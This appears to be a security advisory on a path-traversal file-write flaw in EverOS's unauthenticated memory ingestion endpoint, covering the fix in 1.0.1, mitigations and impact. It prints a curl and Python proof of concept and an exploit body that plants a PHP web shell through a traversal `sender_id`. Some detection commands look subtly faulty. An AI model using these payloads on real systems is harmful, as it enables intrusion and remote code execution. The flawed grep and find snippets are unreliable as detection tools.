Listen to this Post
The POST `/api/v1/memory/add` ingestion endpoint in EverOS versions 1.0.0 and earlier accepts a `sender_id` field as part of the JSON payload. This field is intended to identify the message sender and is subsequently used as the `owner_id` when constructing the filesystem path where the extracted memory episode is persisted as a Markdown (.md) file. Unlike the `app_id` and `project_id` fields, which are already validated to be path‑safe, the `sender_id` is passed through without any sanitisation or whitelist filtering.
During user‑memory extraction, the server takes the unsanitised `sender_id` and concatenates it directly into the file path, typically under a configured memory root directory. An attacker can supply a `sender_id` containing directory traversal sequences such as `../` to escape the intended memory root. Because the server process has write permissions to various locations on the filesystem, the attacker can then create or overwrite arbitrary `.md` files outside the memory root. The content of these files is partially controlled by the attacker, as the payload may include Markdown‑formatted text or other data that the server writes as part of the episode.
This flaw is particularly dangerous because the endpoint is unauthenticated, meaning any remote caller can trigger the write without any prior authentication. The impact is not limited to data corruption; an attacker could overwrite configuration files, application source code, or other critical assets if the server process has sufficient privileges. Even if the server runs with limited permissions, the ability to write arbitrary files can be a stepping stone for further attacks, such as remote code execution through overwriting executable scripts or libraries.
The fix in version 1.0.1 addresses the issue in two layers. First, `sender_id` is now validated against a character whitelist and any occurrence of the `.` or `..` tokens is rejected outright. Second, the Markdown writer performs a defence‑in‑depth containment check: before any filesystem operation, it resolves the final path and verifies that it still lies within the configured memory root, aborting the write if the path escapes. This check covers both the initial write and the append‑based read‑modify‑write paths, ensuring that even if a bypass is found in the validation logic, the containment check acts as a final safeguard.
DailyCVE Form:
Platform: EverOS
Version: <=1.0.0
Vulnerability: Path Traversal
Severity: High
date: 2026‑06‑06
Prediction: 2026‑06‑30
What Undercode Say:
Below are analytics commands and code snippets to detect and understand the vulnerability.
Monitor logs for suspicious sender_id values containing '../'
grep -i "sender_id" /var/log/everos/access.log | grep -E "..[/\]"
Check for unexpected .md files created outside the memory root
find / -name ".md" -type f -mtime -1 2>/dev/null | grep -v "/expected/memory/root"
Simulate a malicious payload using curl
curl -X POST http://target:8000/api/v1/memory/add \
-H "Content-Type: application/json" \
-d '{"sender_id":"../../../etc/passwd", "message":"test"}'
Python script to test path traversal
import requests
payload = {"sender_id": "../../../tmp/evil", "message": "malicious content"}
r = requests.post("http://target:8000/api/v1/memory/add", json=payload)
print(r.status_code, r.text)
Exploit:
An unauthenticated attacker can send a POST request to `/api/v1/memory/add` with a `sender_id` containing `../` sequences. For example:
{
"sender_id": "../../../var/www/html/backdoor",
"message": "<?php system($_GET['cmd']); ?>"
}
If the server’s memory root is /var/lib/everos/memory, the resolved path becomes /var/www/html/backdoor.md. The server writes the attacker‑supplied message as a Markdown file, potentially creating a web shell if the web root is writable. The attack requires no credentials and can be performed from any network‑reachable client.
Protection:
- Upgrade to EverOS 1.0.1 immediately – this is the only complete fix.
- If upgrading is not possible, restrict network access to the `/api/v1/memory/add` endpoint using a firewall or API gateway.
- Audit existing `.md` files for unexpected content or locations; remove any files that appear outside the intended memory root.
- Apply the principle of least privilege to the server process – ensure it cannot write to sensitive directories (e.g.,
/etc,/var/www). - Implement additional monitoring for path traversal patterns in all user‑supplied fields.
Impact:
- Unauthorised Arbitrary File Write – Attackers can create or overwrite any `.md` file writable by the server process.
- Data Integrity Loss – Critical application or system files can be corrupted, leading to service disruption.
- Potential Remote Code Execution – If the server can write to a directory from which files are later executed (e.g., a web application directory), the attacker may gain code execution.
- Privilege Escalation – Overwriting configuration or credential files may allow further lateral movement within the infrastructure.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
